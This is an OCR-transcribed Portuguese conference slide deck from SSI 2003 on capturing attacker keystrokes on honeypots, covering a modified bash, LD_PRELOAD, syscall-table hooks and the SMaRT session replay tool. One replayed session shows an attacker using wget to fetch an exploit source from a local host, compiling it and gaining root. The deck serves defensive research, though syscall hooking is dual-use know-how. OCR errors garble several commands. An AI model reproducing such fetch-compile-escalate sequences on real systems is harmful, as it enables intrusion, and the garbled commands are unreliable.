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Roteiro

* Introducao

* Captura em User Space

e Captura em Kernel Space

* Modificacao no Bash

* Reconstrucao de Sessao com modulos de Kernel

e Conclusoes
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Introducao

* Decidir que dados sao uteis

* Capturar as ag¢des dos atacantes
* Armazenar os dados capturados

* Transferir os dados dos honeypots
* Analisar os dados

* QOcultar todo o processo
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Captura em User Space

* Interpretadores de Comandos

— Bash
+ Antonomasia
- Syslog
+ Anton Chuvakin
- Pacotes UDP

— Pacotes UDP criptografados

— Vantagens vs. Desvantagens
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Captura em User Space (Cont.)

 Utilitario script
— Ryan C. Barnett
« Cryptcat
« /bin/sh = /bin/bash (man bash -> INVOCATION)
- /bin/sh == /bin/bash -norc
« Knark - Ered

— Envio direto de pacotes UDP criptografados

— Vantagens vs. Desvantagens
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Captura em User Space (Cont.)

* Bibliotecas de Sistema

— Winsock32.dll
« Happy99.exe

— LD PRELOAD
— Glibc

— Vantagens vs. Desvantagens

SSI’2003 - V Simpésio Seguranga em Informaética - p. 6/15



Captura em Kernel Space

* Sys read e sys write
— Responsavel pela leitura e escrita nos file descriptors
— Alterar a tabela de chamadas de sistema

— 8ys_read utilizado pelo sebek

— Vantagens vs. Desvantagens
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Captura em Kernel Space (Cont.)

* Ity write
— Escrita de dados no terminais
— Esta sendo utilizado no SMaRT assim como a tty_read

— Resultado similar ao aplicativo script

— Vantagens vs. Desvantagens
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Captura em Kernel Space (Cont.)

* Sys execve

— Responséavel pela execucao dos
comandos/scripts/aplicativos

— Invocada pela Glibc ao utilizar a fungcao execve

— Alterar a tabela de chamadas de sistema

— Vantagens vs. Desvantagens
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Modificacao no Bash

e Ferramentas Auxiliares

— Alteracao do patch
« Ocultar informacoes de rede

— Captura dos dados
« Captura on-line e off-line

— Simulacao de servico
« Evitar pacotes de erro

 Compilacao estatica

* Eliminacao de simbolos
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Modificacao no Bash (Cont.)

 Resultados

IP=10.0.0.13 TS=Thu Jul 17 08:54:53 2003 UID=1000 PID=48537
CMD=1s

I1P=10.0.0.13 TS=Thu Jul 17 08:55:14 2003 UID=1000 PID=48537
CMD=du -sh

IP=10.0.0.13 TS=Thu Jul 17 08:56:20 2003 UID=1000 PID=48537
CMD=for 1 1in *.][c]

IP=10.0.0.13 TS=Thu Jul 17 08:56:24 2003 UID=1000 PID=48537
CMD=do

IP=10.0.0.13 TS=Thu Jul 17 08:56:39 2003 UID=1000 PID=48537
CMD=grep include $i

I1P=10.0.0.13 TS=Thu Jul 17 08:56:41 2003 UID=1000 PID=48537
CMD=done
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Reconstrucao de Sessao com Mdodulos
de Kernel

* Arquitetura da Solucao

Honeypots =
- =
A A £ | £5 :

Sistema de / ——y

Deteccad de Intrusao :

Aplicacao

Servidora  _ _ _ — -~~~ [  [—X

|
-

|
| Cliente
|
Banco de y/— =\ !
Dados Maquina Central i

Barramento Ethernet

SSI’2003 - V Simpdsio Seguranga em Informética - p. 12/15



Reconstrucao de Sessao com Modulos
de Kernel (Cont.)

SMakRT - Sezszion Monitoring and Eeplay Tool

File Configuration Help
Honeynet 1
attackerliHoneypot 7% =zzh 192,168,1,1
Honeypotl attackerll1s?,168.1,.1 s password: defaultlds
Horeypot? Fermizsion denied, pleasze try again,
Hoheypot3 attackerll1S2,168.1,1"s password: default3Zl
Honeypotd attackerliHoneypotZ:™F id
Honeypot5 uid=10000attackerl) gid=100(attackers) groups=100(attackers)
Honeypoth attackerliHoneypot2:™% 1z
}m bind dew/ homes libsS mnts proc/ sbind tmpd

wary boots etcd  include/ rootd  shared  usrd
attackerliHoneypotZ:™% wget —q http:/A192,168,1,24xpl o
attackerliHoneypot?:™F goc xpl.c -0 xpl
attackerliHoneypotZ:™F S xpl

# id

wid=0{root) qid=0{root) groups=0iroot), 100wheel)

# exit

attackerliBHoneypot?:™F exit

attackerliHoneypot7: ™% exit
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Conclusoes

* Importancia das técnicas apresentadas

* Invasores utilizam rootkits com criptografia

* Utilizacao de outras técnicas e ferramentas

* Bash modificado, simples mas pode ser driblado
* Monitoracao em kernel space € mais promissora

e Desenvolvimento do SMaRT
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Obrigado pela Atencao !!!

¥ i_-'_-lll.'._ 'lt F

"O sabio aprende muitas coisas com seus inimigos."
( Aristofanes )
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